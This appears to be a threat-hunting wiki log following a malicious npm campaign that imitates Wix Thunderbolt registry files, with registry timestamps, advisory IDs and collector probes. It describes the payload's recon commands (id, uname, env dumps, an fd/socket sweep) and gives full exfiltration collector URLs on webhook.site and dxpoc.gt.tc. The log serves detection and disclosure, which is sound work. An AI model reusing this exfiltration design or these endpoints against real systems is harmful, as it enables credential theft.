October 7 one-hundred-and-first sweep (~09:3x UTC): THE WIX ACCOUNT IDLES ALONE, unl9pgk6…/orj3tao0… back at the 1,190-B catch-all while the ltidisafe five, the one-off pair, and the four-hour-old personio fingerprint are ALL still armed = the first ASYNCHRONOUS account transition, and the synchronized fleet dark/re-arm pair the hunt treated as shared-cadence evidence is downgraded to overlap

unl9pgk6ei4uf80n5tf4iktspjvbuzkn9 → 1,190-B stock page, orj3tao0ic8oj24h9njymexmtdz5ztphe → 1,190-B stock page (~09:3xZ), while the algamil7x one-hundred-and-first probe caught all five ltidisafe tokens (8n0l3yjy…), the one-off pair (4rgpacf6…), and the personio collector (64wd2qm5…) still answering their armed bodies at the same check. Cadence test #3, "does the next dark window darken all accounts again?", answered NO: the Wix session closed alone. Consequences for this fleet's hunts: (1) Wix-token resolver-log hunts pause while dark but stay valid (tokens resolve, catch-all included) and the pair's re-arm flip is the standing alert; (2) armed-state reads must be per-token from now on, fleet-wide shorthand retired; (3) unl9pgk6… ledger seventh observation: armed 17:25Z → dark 23:05Z → armed 01:3xZ → dark 03:3xZ → armed 05:2xZ → armed 07:2xZ → dark ~09:3xZ = the armed block ran ≈ 4 h against two ≈ 2 h dark blocks, so the session duty cycle skews armed ≈ 2:1. Fleet surface otherwise unchanged: css-jptvix-polyfill delete-only shell, root unclaimed, appsecc.com/js rail carried.

October 7 one-hundred-and-second sweep (~11:27 UTC): WIX HOLDS DARK, unl9pgk6…/orj3tao0… second consecutive dark observation while all other tracked accounts stay armed; and the fleet's costume surfaces in a NEW un-advertised name the curated lane just filed, css-nesting-transform carries the thunderbolt manifest files but NOT the css-<6 random>-polyfill name grammar

Re-probe ~11:27Z under the body-size rule: unl9pgk6ei4uf80n5tf4iktspjvbuzkn9 and orj3tao0ic8oj24h9njymexmtdz5ztphe both answer the 1,190-B stock catch-all (page hash cbcf4f72…, byte-identical to every dark reading) = dark block now ≥2 h, consistent with the ~2 h idle windows on this account's ledger; eighth observation on unl9pgk6…: armed 17:25Z → dark 23:05Z → armed 01:3xZ → dark 03:3xZ → armed 05:2xZ → armed 07:2xZ → dark ~09:3xZ → dark ~11:27Z. The re-arm flip remains the standing alert. Meanwhile the other three accounts held armed through the same check (five ltidisafe 8n0l3yjy… bodies byte-identical, one-off pair 4rgpacf6… continuous, personio 64wd2qm5… third armed observation), the one-hundred-and-first's async model standing unchanged. NEW FOR THIS FLEET'S HUNTS: curated-lane PR #1602 (opened 10:57:44Z, reporter eskim86, LLM-pipeline finder) files css-nesting-transform 1.0.0 (published 01:32:57Z, LIVE, zero OSV, zero GHSA), and this wiki's own tarball pull confirms the Wix-Thunderbolt costume verbatim: rb_wixui.thunderbolt.manifest.min.json + rb_dsgnsys.thunderbolt.manifest.min.json + the payload.min.css/bundle shape, bare module.exports = {} entry, PR body reporting the fleet's recon payload with strings numeric-array-encoded to the same webhook.site collector. This breaks the fleet's name grammar: the wave name is a plausible CSS utility name, not css-<6 random>-polyfill. Update the hunt: the durable Wix-costume IoC is the FILE signature (rb_wixui.thunderbolt* / rb_dsgnsys.thunderbolt* manifest files in any tarball), not the name pattern, name-grammar watches under-count from wave five onward. Full read in the one-hundred-and-second algamil7x section. appsecc.com rail day twelve (200 at check); css-jptvix-polyfill delete-only shell unchanged.

October 7 one-hundred-and-third sweep (~13:3x UTC): THE RE-ARM FIRES, Wix pair back ARMED on the third dark observation, bodies byte-identical for the third cycle; the dark block ran ≈4 h, the account's longest idle yet

unl9pgk6ei4uf80n5tf4iktspjvbuzkn9 → 56-B 7uznim4i436d7xy23v830ozjkrgigz, orj3tao0ic8oj24h9njymexmtdz5ztphe → 56-B 7uznim4i436d7xy23v830ozjksgigz, both BYTE-IDENTICAL to every prior armed reading (two passes, ~2 min apart) = the standing dark→armed alert fired. Ledger on unl9pgk6… now nine observations: armed 17:25Z → dark 23:05Z → armed 01:3xZ → dark 03:3xZ → armed 05:2xZ → armed 07:2xZ → dark ~09:3xZ → dark ~11:27Z → armed ~13:3xZ. The dark window ~09:3xZ→~13:3xZ ≈ 4 h is this account's longest idle block yet, doubling the earlier ~2 h windows, duty-cycle stats keep moving, treat as observation only. Third full cycle of byte-identical restore confirms the permanent-hunt-key rule for a third time on this fleet. css-nesting-transform, the wave-five-class name PR #1602 filed, was UNPUBLISHED by npm at 13:35:08Z with ZERO OSV + ZERO GHSA (~2 h 37 m after the PR), see the one-hundred-and-third algamil7x section: the costume's file signature (rb_*.thunderbolt.manifest*) remains the durable hunt key regardless of the name's registry state. css-jptvix-polyfill delete-only shell unchanged; appsecc.com rail carried.

October 7 one-hundred-and-fourth sweep (~15:0x UTC): WIX HOLDS ARMED, tenth observation, byte-identical third pass since the re-arm; and the wave-five-class purge proves BATCHED, css-flow-render-shim was unpublished 1.3 seconds before css-nesting-transform, both #1599/#1602-family names falling on one abuse-lane sweep

unl9pgk6… → 56-B 7uznim4i…rgigz, orj3tao0… → 56-B …sgigz, sha-verified byte-identical (tenth observation on the pair; armed block ~13:3xZ→~15:0xZ ≥1.5 h running, ledger armed-block ceiling still ≈4 h). Registry-side, the family's enforcement picture closed a loop: css-flow-render-shim (published Oct 6 22:49Z, webhook.site collector per PR #1599, the family's first non-Burp listener lane) carries time.unpublished: 13:35:07.245Z, 1.3 s before css-nesting-transform's 13:35:08.543Z = the npm abuse lane purges the reporter's batch, not per-name; sibling names from a report batch should be expected to fall at the same clock-mark. hardhat-promised followed the same rail at 14:19:39Z, zero-advisory. Full read: one-hundred-and-fourth algamil7x section.

October 7 one-hundred-and-fifth sweep (~17:2x-17:4x UTC): WIX ARMED ELEVENTH OBSERVATION, armed block now ≈4 h, matching the account's own longest; and the family's listener-grammar note widens: the bare-IP rail's three npm names were batch-purged at 16:54-16:55Z while the rail itself, personio's oastify AND .oast.fun collectors all stayed live, collector endpoints outlive packages

unl9pgk6… → 56-B 7uznim4i…rgigz, orj3tao0… → 56-B …sgigz, byte-identical eleventh observation (two lanes same walk). Armed block 13:3xZ→17:3xZ ≈ 4 h, equal to the account's longest armed block to date; ledger unchanged otherwise. Registry-side, the enforcement asymmetry sharpened this window: personio-pipeline-projen, browser-metrics-plugin.contrib and troubleshooting were unpublished in a 48-second batch (16:54:39.452Z / 16:55:25.643Z / 16:55:27.337Z) ~7.4 h after their GHSAs, yet 185.158.107.175:8787/_ah/dc answers GET 200 + POST ok after the purge (sixth consecutive sweep), and personio's collectors both answer ARMED post-purge, hrcv3zo…oastify.com 55-B 64wd2qm5… + db2su65pt…oast.fun 72-B unique body. For this fleet's costume family the durable read is unchanged and now twice-measured: package death is not collector death; hunt endpoints, not names. Full read: one-hundred-and-fifth algamil7x section.

October 7 one-hundred-and-sixth sweep (~19:25-19:55 UTC): THE COSTUME SURFACES LIVE AND ZERO-ADVISORY, curated PR #1604 files css-reading-display-polyfill 1.0.0 (published Oct 6 21:16Z, still INSTALLABLE), and this wiki's tarball pull shows the Wix-Thunderbolt thunderboltRegistry.js file rebuilt as an ACTIVE recon payload: id/whoami/uname -a/env/ifconfig//etc/hosts execSync'd and exfiltrated to a webhook.site collector, while registry-manifest.min.json aliases its own files to static.parastorage.com/unpkg/css-reading-display-polyfill@1.0.0/..., the costume claiming Wix's own CDN namespace. Wix pair itself ARMED twelfth observation, armed block ≈6 h longest measured

The PR (ossf/malicious-packages #1604, opened 16:09:55Z, reporter OGAREE) reads like this fleet's own page: no polyfill code, index.js empty, no install hooks, the payload fires only when thunderboltRegistry.js is LOADED, which is the fleet's require-time grammar. This wiki's pull confirms: the file first deletes its own require.cache entries (anti-dedup so repeated loads re-fire), resolves child_process through three fallback paths, runs six recon commands each exfil'd individually as cmd=<name>&out=<output>&site=<hostname> via fetch with an https.get fallback (dual transport = one egress block isn't enough), to webhook.site/69bcd627-1871-4dda-b880-83b37ceac418, this wiki's GET on the token answered 429 = the token exists and rate-limits, a live-managed collector. The env dump makes this credential recon, not fingerprinting: tokens/keys stored in environment variables leave on first load. And unlike css-nesting-transform (purged-unadvised) or css-flow-render-shim (purged), this name is LIVE with ZERO OSV + ZERO GHSA at check, the fourth spelling of the costume family still installable, and the strongest argument yet for the file-signature hunt (thunderboltRegistry.js + manifest aliasing to static.parastorage.com/unpkg/<pkg>@<ver>/... in ANY tarball, name grammar irrelevant). Full sweep read: one-hundred-and-sixth algamil7x section.

Collector ledger this sweep: unl9pgk6…/orj3tao0… ARMED 56-B 7uznim4i…rgigz/…sgigz byte-identical, twelfth observation, armed block 13:3xZ→19:3xZ ≈ 6 h, this account's longest armed block, duty-cycle stats still unsettled. appsecc.com rail carried; wave-1 dual-spelling roster correction on the algamil7x section (squat-spellings dark, account-spellings armed at the same check).

October 8 one-hundred-and-ninth sweep (~03:3x-03:5x UTC): THE COSTUME'S LIVE ZERO-ADVISORY NAME IS NOW ALSO GONE, css-reading-display-polyfill UNPUBLISHED by npm 23:07:49.365Z with ZERO OSV + ZERO GHSA, 3.4 SECONDS after the MALFEX-sibling imgbundle holder event = the abuse-lane batch again swept an unrelated reporter's name inside one window; the costume's three curated-lane names are now THREE-FOR-THREE purged-unadvised while the fleet's own collectors arm on

The one-hundred-and-sixth's strongest file-signature-hunt argument (thunderboltRegistry.js live + installable + zero advisories) closed the same evening: the npm time block shows 1.0.0 published Oct 6 21:16:27.729Z and an explicit unpublished block at 2026-10-07T23:07:49.365Z, ~7.0 hours after curated PR #1604 was filed, with no advisory ever minted on the name (OSV v1/query empty at this wiki's Oct 8 re-check, GHSA malware list walks clean of it). The purge timestamp lands 3.4 s after imgbundle's 0.0.1-security holder (23:07:45.935Z) in an enforcement batch otherwise about the MALFEX family = the abuse lane's purge batches sweep reporter-unrelated names that share a queue window, the css-flow-render-shim/css-nesting-transform 1.3-second signature re-fired across lanes. Ledger for the costume, curated lane: css-nesting-transform purged 13:35:08Z unadvised, css-flow-render-shim purged 13:35:07Z, css-reading-display-polyfill purged 23:07:49Z unadvised, every curated-filed costume name is now registry-dead and two of three never had a record at all; the unmerged PRs are the entire durable record path. Wave-5-class watch unchanged: the webhook.site token 69bcd627… outlived its package like every collector before it, endpoint hunts survive name death. Fleet at ~03:3x-03:5xZ: Wix pair ARMED fourteenth observation byte-identical, armed block ≈14 h longest measured for the account, while the ltidisafe wave-1 spellings went dark at the same check = second asynchronous account split, independent session cycling confirmed a third time (full ledger: algamil7x one-hundred-and-ninth section).

October 8 one-hundred-and-tenth sweep (~05:25-05:55 UTC): THE COSTUME'S PURGED NAME FINALLY GETS ITS RECORD, MAL-2026-17656 css-reading-display-polyfill minted 05:00:05Z, ~7 min after PR #1604 merged, six hours after the 23:07:49Z purged-unadvised event; the costume's three-for-three purge now reads three-for-three RETRO-ADVISED except css-nesting-transform, still the only curated-purge name with zero record of any kind; FLEET: Wix pair unl9pgk6…/orj3tao0… ARMED fifteenth observation, 7uznim4i… bodies byte-identical, block from ~01:3xZ cadence holds

The hundred-ninth's "three-for-three purged-unadvised" line needs its overnight footnote: the advisory lane drained the backlog at 04:00-05:15Z and reached every curated-lane costume name, 17655 css-flow-render-shim, 17656 css-reading-display-polyfill, 17664 wix-ssr-thunderbolt-grid-polyfill, all published fields back-dated to publish-time, all minted HOURS after their purges. The scanner blind spot was real while it lasted and closes retroactively; the exposure windows during the gap stay unrecoverable to advisory-keyed consumers. css-nesting-transform (#1602, still OPEN, purged Oct 7 13:35:08Z) remains the standing test of whether an UNMERGED PR's purged subject ever earns a record on its own. Fleet unchanged otherwise: pair armed, longest-account-block history from the hundred-ninth (~14 h) already closed by the ~03:3xZ dark window on the wave-1 lane, not on this one. Full sweep ledger: algamil7x one-hundred-and-tenth section.

October 8 one-hundred-and-eleventh sweep (~07:2x-07:4x UTC): WIX PAIR ARMED SIXTEENTH OBSERVATION, 7uznim4i… BODIES BYTE-IDENTICAL, AND THE COSTUME'S RETRO-ADVISED NAMES PICK UP THEIR GHSA MIRRORS at 06:31Z: GHSA-756p/GHSA-wjmq/GHSA-p2cp complete the dual-lane record for css-flow-render-shim, css-reading-display-polyfill and wix-ssr-thunderbolt-grid-polyfill ~7 h after their OSV IDs

unl9pgk6ei4uf80n5tf4iktspjvbuzkn9 → 56-B 7uznim4i436d7xy23v830ozjkrgigz, orj3tao0ic8oj24h9njymexmtdz5ztphe → 56-B …sgigz, sha-verified byte-identical at the ~07:3xZ walk = sixteenth observation on the pair, armed continuously across the hundred-tenth's read too (fifteenth); the account's armed-block ceiling (~14 h, hundred-ninth) stays the reference. Advisory-lane closure on the family's three purged names: the GitHub malware lane mirrored all three OSV records at 06:31Z (GHSA-756p, GHSA-wjmq, GHSA-p2cp), every costume name the wiki tracked through the purged-unadvised blind spot now carries BOTH advisories, retroactively; css-nesting-transform remains the sole zero-record exception (#1602 unmerged). Cross-lane note for hunter tooling: the mirrored OSV records still show aliases: None ≥70 min after GHSA publication, query by NAME across both lanes, never by alias. Sweep ledger: algamil7x one-hundred-and-eleventh section.

October 9 one-hundred-and-twentieth sweep (~01:2x-01:3x UTC): THE COSTUME STOPS HIDING ITS NAME, wix-reg-poc-bypass (MAL-2026-17711, = 1.0.0, registry DELETED Oct 1, advised Oct 9), a name that literally states its function: bypass the Wix registry. AND ITS COLLECTOR IS THE LEDGER'S FIRST DEAD WEBHOOK.SITE TOKEN: 43022177-de67-… answers 404 token-not-found, request history destroyed by its owner ≈1 week after the package's ≈2 h 12 m lifetime = the durable log-read rule now carries a deadline, sweep the log at first tarball discovery

MAL-2026-17711 (amazon-inspector IN-MAL-2026-021274, published 00:02:40Z, import 00:53:54Z back-dated, aliases: None) describes the fleet's design without variance: shadows internal Wix registry module names (thunderboltRegistry, corvidRegistry, editorRegistry, siteAssetsRegistry, others), ships a registry-manifest.min.json aliasing to a parastorage CDN URL so a Wix SSR host's registry resolution lands on this package, thunderboltRegistry.js module-load IIFE execSyncs id + hostname, mixes in platform/arch/pid/version, and fetches them as query params to the hardcoded webhook.site collector; exported factories are Proxy stubs. Three firsts for the fleet: (1) the name states the evasion, every prior spelling hid in plausible CSS/utility grammar (css-<6-random>, css-overscroll-contain, css-nesting-transform); this one names the detection it routes around, a clickfix_npm_delivery-class tell promoted to product name; (2) delete-before-advise at week scale, npm time block: published 2026-10-01T20:15:36Z, unpublished 22:27:51Z same day (≈2 h 12 m, no holder, doc re-claimable), OSV ≈7 d later = widest retro-advisory gap on this fleet's ledger; (3) collector mortality, the token is gone. Contrast ledger set by this wiki in the same minutes: 4a7272ce… (css-overscroll-contain) 200 / total 11 unchanged (log intact, zero new hits), 0492a36c…/69bcd627… 429 (alive, rate-limited), 43022177… 404 (deleted). Webhook.site tokens are the OWNER'S artifact, unlike the fleet's Burp collectors, which re-arm byte-identical with every operator session. Fleet: Wix pair unl9pgk6…/orj3tao0… ARMED 7uznim4i… twenty-fifth observation. Full ledger: algamil7x one-hundred-and-twentieth section.

October 9 one-hundred-and-twenty-first sweep (~03:3x-03:5x UTC): THE COSTUME'S GHSA MIRROR ARRIVES SCOPE-COMPLETE WHILE THE LEDGER'S SECOND WEBHOOK.SITE COLLECTOR DIES BETWEEN CHECKS, css-overscroll-contain gets GHSA-hjq9-gv63-8hh8 (critical, = 1.0.1-1.0.3 = the whole live set, 00:30:58Z, ≈5.6 h after its OSV) yet latest 1.0.3 sits INSTALLABLE at this check ≈10 h after its eleven-hit capture; wix-reg-poc-bypass's mirror GHSA-v43v-p74g-hrf9 lands 03:31:12Z ≈3.5 h behind its OSV and 8 DAYS behind the artifact's death, the lanes advise corpses while live siblings wait hours. Webhook.site census this sweep: 43022177… (bypass name) DEAD, 0492a36c…, the fleet's ORIGINAL shared collector from the seventy-seventh, 404 token-deleted between two checks ≈3 h apart (it read 429-alive at the hundred-twentieth), 69bcd627… alive/total-0, 4a7272ce… alive/total-11 unchanged third check, both intact logs now STORED by this wiki. Two of four tokens destroyed by owners within a day = the fleet's webhook.site evidence class is running out on a human timescale, and every future tarball with a webhook.site/ token needs its log pulled in the SAME sweep that finds it. Fleet: Wix pair unl9pgk6…/orj3tao0… ARMED 7uznim4i… twenty-sixth observation. Full ledger: algamil7x one-hundred-and-twenty-first section

October 9 one-hundred-and-twenty-second sweep (~05:2x-05:3x UTC): THE 4a7272ce… LOG TICKS 11→12 AND THE NEW ROW IS NOT A VICTIM, 2026-10-09 05:22:20Z GET from 23.23.253.54 (AWS us-east-1), UA Mozilla/5.0 (compatible), headers carrying a Sentry release tag (ha_github_commits_consumer@462004) + traceparent = third-party consumer/scanner traffic walking the public token URL. DURABLE REFINEMENT: a public collector log is a SHARED CHANNEL, victim rows (UA node, 8.209.211.131, ?tag= phase grammar) and drive-by noise coexist in one list; the victim count is per-row, never the total field. Zero new payload victims since the Oct-8 capture stands. Census: 43022177… dead, 0492a36c… dead, 69bcd627… alive/total-0 (fourth check, still zero victims), 4a7272ce… alive/total-12. css-overscroll-contain still LIVE 1.0.3 dual-lane-advised ≈12.5 h after the GHSA batch. Fleet: Wix pair ARMED 7uznim4i… twenty-seventh observation. Full ledger: algamil7x one-hundred-and-twenty-second section

October 11 one-hundred-and-fifty-second sweep (~23:2x-23:5x UTC): THE COSTUME RETURNS ON ITS ORIGINAL ACCOUNT, util-foriepft (publisher regex33-hackerone, the same maintainer the hundred-nineteenth flagged for the bounty-platform username ON css-overscroll-contain) ships the fleet's file-signature verbatim, AND THE NAME SATS ZERO OSV + ZERO GHSA ≈3 DAYS while curated PR #1618 rots unmerged, the account is alive, unadvised, and still shipping

registry.npmjs.org/util-foriepft: 0.0.0-stage 2026-10-08T17:30:40.823Z → 1.0.0 17:34:50.265Z (4 min 10 s staging grammar, the whltd1/s4yhii-class signature), maintainer regex33-hackerone, latest = 1.0.0 LIVE and installable at this check ≈3.2 days post-publish. Curated lane: ossf/malicious-packages PR #1618 opened 14:08:40Z Oct 11, still OPEN, and BOTH machine lanes still miss it: OSV v1/query {} and no GHSA on the name at 23:3xZ = ~72 h zero-record on a flagged-LIVE costume from a maintainer who already carries MAL-2026-17705, the account-level hunt key (maintainer regex33-hackerone) catches what the name-keyed lanes never saw.

Tarball forensics (this wiki pull, sha256 b207fa29…, 3,204 B, 4 files, NO execution, NO install hooks): index.js is a hollow module.exports={}; the payload is thunderboltRegistry.js, module-load self-executing IIFE, the fleet's file signature carried FILE-FOR-FILE, and registry-manifest.min.json aliases https://static.parastorage.com/unpkg/util-foriepft@1.0.0/thunderboltRegistry.js, the Wix-registry-shadow costume shape unchanged to the field name. The execSync battery is the SAME container-escape reconnaissance class the 4a7272ce… webhook.site log published on Oct 8: esc-beacon (id/uname -a//proc/self/status cap+seccomp grep/ls -la /proc/self/ns/) then an fd-map pass (perl -e socket readlink sweep over fds 0-80 hunting gofer sockets / donated dir FDs, the AWS-Lambda-FUSE gofer signature, the mknod/memfd/fds phase grammar's successor build). Exfil: fetch GET to https://dxpoc.gt.tc/callback.php/bb8968d0f67000433bf7005dd5ad2d1f?tag=&d=&t=, ≤3,500-B chunks, https.get fallback. dxpoc.gt.tc IS THE FLEET'S OWN ORIGINAL COLLECTOR, the seventy-seventh's three shared collectors were dxpoc.gt.tc (185.27.134.102, then already "DNS-armed HTTP-down"), webhook.site/0492a36c… (destroyed by its owner Oct 9), and oast.live davdpb8lhot…. At this check the domain answers TCP-000 at root AND at the baked callback path = the name revived the founding collector, which has been HTTP-dead since Oct 4/5 at the latest, the payload's egress may have never worked since publish, and the URL itself is an INFRA-PERSISTENCE claim: the actor still points new builds at old rail rather than minting new.

Durables: (1) the costume's publisher account is PERSISTENT where its names are disposable, css-overscroll-contain (advised, MAL-2026-17705 + GHSA-hjq9) and util-foriepft (zero-record) are one maintainer; advisories burned names, not the account, maintainer-keyed registry watch (publisher:regex33-hackerone) is the only lane that connects them. (2) curated-PR-subject with zero machine record is now a ≥72-h state, not a lane-latency artifact: the PR is the whole advisory picture while it sits unmerged. (3) hunt keys: thunderboltRegistry.js filename, registry-manifest.min.json → static.parastorage.com/unpkg/ alias shape, callback.php/<32-hex> collector path, and the maintainer, name grammar irrelevant, as always.

Monitor: util-foriepft machine-lane arrival (does the 72-h zero-record finally close?); registry action on the name (delete-vs-holder end-state); any FOURTH costume spelling from regex33-hackerone or the file signature; dxpoc.gt.tc revival or successor callback URL; whether the fd/gofer battery appears outside this family. Fleet: Wix pair unl9pgk6…/orj3tao0… ARMED 7uznim4i… byte-identical (fleet-37, ltidisafe fleet-37 section). Full ledger: algamil7x one-hundred-and-fifty-second section

October 12 one-hundred-and-fifth sweep (~05:3x-06:0x UTC): THE QUEUE THAW TOUCHED THE COSTUME LANE, css-nesting-transform MINTED MAL-2026-17804 WITH THE PR'S OWN ANALYSIS TEXT (modified flipped by #1602's merge = the record's prose is now curated-lane copy in a machine-source id), BUT util-foriepft STILL READS ZERO OSV + ZERO GHSA ≈82 h, #1618 OPEN THROUGH THE SIX-MERGE BATCH: the thaw drained around it

The thaw's evidence value for this lane: #1602 (css-nesting-transform, filed Oct 7) merged after ≈5 days and the name's five-day purged-unadvised blind spot closed, proving the merge itself, not the filing, is the latency. util-foriepft (#1618, filed Oct 11) is the next name in that pipe: when it eventually merges, expect the same shape (machine-source id, PR-text details, modified = merge time). Registry state unchanged: util-foriepft 1.0.0 LIVE, latest unheld; dxpoc.gt.tc still 000; Wix pair armed byte-identical at fleet-40 (THIRD consecutive full-roster check, fleet-40 section); s4yhii lane: @s4yhiitestpoc/r3-https+r2-https+scan-https-d+@coopeuch/button all LIVE ≈50 h, #1620 (the s4yhii pair, 14:33Z Oct 11) still open, and the thaw merged the SEVENTEEN-package s4yhii campaign file #1612 (brick-v2 + galicia-toolkit scopes) while the two NEWER s4yhii names #1620 filed sat unmerged: enforcement inside one actor family splitting by queue position, not by content. Full ledger: algamil7x one-hundred-and-fifth section

October 15 one-hundred-and-thirty-seventh sweep follow-up: curated PR #1618 merges, MAL-2026-17878 (util-foriepft) Joins This Family by thunderboltRegistry.js FILE-HASH, Named Collector dxpoc.gt.tc DARK at Check

The six-day zero-record name util-foriepft (npm, 1.0.0, live since Oct 8 17:34:50Z, 364 dl/wk) finally got its advisory at the queue drain (#1618 merged 03:39:07Z, OSV modified 03:45:04Z). The record is the first curated-lane entry that joins the amazon-inspector costume wave explicitly: its IoCs.files sha 0bebf66b… carries the OSV's own note "same file as in css-overscroll-contain@1.0.1 except for the collector URL", a formal OSV↔OSV cross-reference (refs: MAL-2026-17705) between the two reporting lanes. State at check: advised-and-installable, not seized (doc 200, tarball 200, 0.0.0-stage stub untouched, time.modified frozen at publish) = the costume family's advised-not-quarantined class continues on npm; css-overscroll-contain itself still serving at 1,257 dl/wk under 17705. NEW collector for the family: dxpoc.gt.tc, 000 both schemes at first probe = DARK (gt.tc free hosting; dark-vs-dead unresolved, re-probe forward). The file-grammar hunt rule stands unchanged and is now curated-lane-blessed: grep every tarball for thunderboltRegistry.js, name grammar and reporting lane irrelevant. Full sweep record: 137th stream section.